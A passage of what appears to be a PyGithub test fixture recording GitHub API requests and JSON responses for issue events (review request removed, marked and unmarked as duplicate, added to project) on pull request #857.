ne":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1783779835 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"731b28095eba1e3064e1591566d31e7e41beaca57b8f55494a048f26d9c41948"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '28'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B8EA:7BB2F:22193A16:22FD7FBD:677847C9')] {"id":1783779835,"node_id":"MDI1OlJldmlld1JlcXVlc3RSZW1vdmVkRXZlbnQxNzgzNzc5ODM1","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783779835","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"review_request_removed","commit_id":null,"commit_url":null,"created_at":"2018-08-11T12:32:59Z","review_requester":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"requested_reviewer":{"login":"jasonwhite","id":865541,"node_id":"MDQ6VXNlcjg2NTU0MQ==","avatar_url":"https://avatars.githubusercontent.com/u/865541?v=4","gravatar_id":"","url":"https://api.github.com/users/jasonwhite","html_url":"https://github.com/jasonwhite","followers_url":"https://api.github.com/users/jasonwhite/followers","following_url":"https://api.github.com/users/jasonwhite/following{/other_user}","gists_url":"https://api.github.com/users/jasonwhite/gists{/gist_id}","starred_url":"https://api.github.com/users/jasonwhite/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jasonwhite/subscriptions","organizations_url":"https://api.github.com/users/jasonwhite/orgs","repos_url":"https://api.github.com/users/jasonwhite/repos","events_url":"https://api.github.com/users/jasonwhite/events{/privacy}","received_events_url":"https://api.github.com/users/jasonwhite/received_events","type":"User","user_view_type":"public","site_admin":false},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1783779725 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5307d53daccda518a43ec8593a5406ad34b697b04ede36b674e79ec5bc886036"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4971'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '29'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B8F0:1146F1:1DA1ADEE:1E6A9B71:677847CA')] {"id":1783779725,"node_id":"MDIyOk1hcmtlZEFzRHVwbGljYXRlRXZlbnQxNzgzNzc5NzI1","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783779725","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"marked_as_duplicate","commit_id":null,"commit_url":null,"created_at":"2018-08-11T12:32:35Z","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1789228962 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"621c1b9878285c4381099d3c4c95475056dbe8ee0a020c05b50db8d442491eee"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '30'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B8FA:7CD91:22C52664:23A96CF9:677847CA')] {"id":1789228962,"node_id":"MDI0OlVubWFya2VkQXNEdXBsaWNhdGVFdmVudDE3ODkyMjg5NjI=","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1789228962","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"unmarked_as_duplicate","commit_id":null,"commit_url":null,"created_at":"2018-08-15T02:57:46Z","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1791766828 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0df632af3776a1c03d03d4f728b943cb14a1c346ceff2de5304eaaad3136561b"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4969'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '31'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B900:4D2C4:23362DCC:241A75DF:677847CA')] {"id":1791766828,"node_id":"MDE5OkFkZGVkVG9Qcm9qZWN0RXZlbnQxNzkxNzY2ODI4","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1791766828","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"added_to_project","commit_id":null,"commit_url":null,"created_at":"2018-08-16T08:13:24Z","project_card":{"id":12179888,"url":"https://api.github.com/projects/columns/cards/12179888","project_id":1714960,"project_url":"https://api.github.com/projects/1714960","column_name":"To do"},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- 